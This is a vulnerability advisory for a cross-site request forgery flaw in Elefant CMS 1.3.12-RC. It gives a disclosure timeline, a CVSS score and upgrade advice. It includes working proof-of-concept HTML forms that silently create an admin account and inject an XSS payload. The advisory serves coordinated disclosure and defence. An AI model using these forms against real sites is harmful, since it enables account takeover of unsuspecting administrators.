### 1. Introduction
```
Affected Product:
Elefant CMS 1.3.12-RC
Fixed in:
1.3.13
Fixed Version Link:
https://github.com/jbroadway/elefant/releases/tag/elefant_1_3_13_rc
Vendor Website:
https://www.elefantcms.com/
Vulnerability Type:
CSRF
Remote Exploitable:
Yes
Reported to vendor:
09/05/2016
Disclosed to public:
02/02/2017
Release mode:
Coordinated Release
CVE:
n/a (not requested)
Credits
Tim Coen of Curesec GmbH
```
### 2. Overview
Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge.
### 3. Details
CVSS: Medium 5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks.
Proof of Concept:
Create New Admin:
```
Create New Admin:
<html>
<body>
<form action="http://localhost/user/add" method="POST">
<input type="hidden" name="name" value="admin3" />
<input type="hidden" name="email" value="admin3@example.com" />
<input type="hidden" name="password" value="admin3" />
<input type="hidden" name="verify_pass" value="admin3" />
<input type="hidden" name="type" value="admin" />
<input type="hidden" name="company" value="" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="photo" value="" />
<input type="hidden" name="about" value="" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="address2" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="state" value="" />
<input type="hidden" name="country" value="" />
<input type="hidden" name="zip" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
XSS:
<html>
<body>
<form action="http://localhost/designer/preview" method="POST">
<input type="hidden" name="layout" value="<img src=no onerror=alert(1)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
### 4. Solution
To mitigate this issue please upgrade at least to version
1.3.13
.
Please note that a newer version might already be available.
### 5. Report Timeline
```
09/05/2016
Informed Vendor about Issue, Vendor announces fix
11/07/2016
Asked Vendor if recent releases fixes issues, Vendor confirmed
02/02/2017
Disclosed to public
```
京公网安备 11010502034610号
暂无评论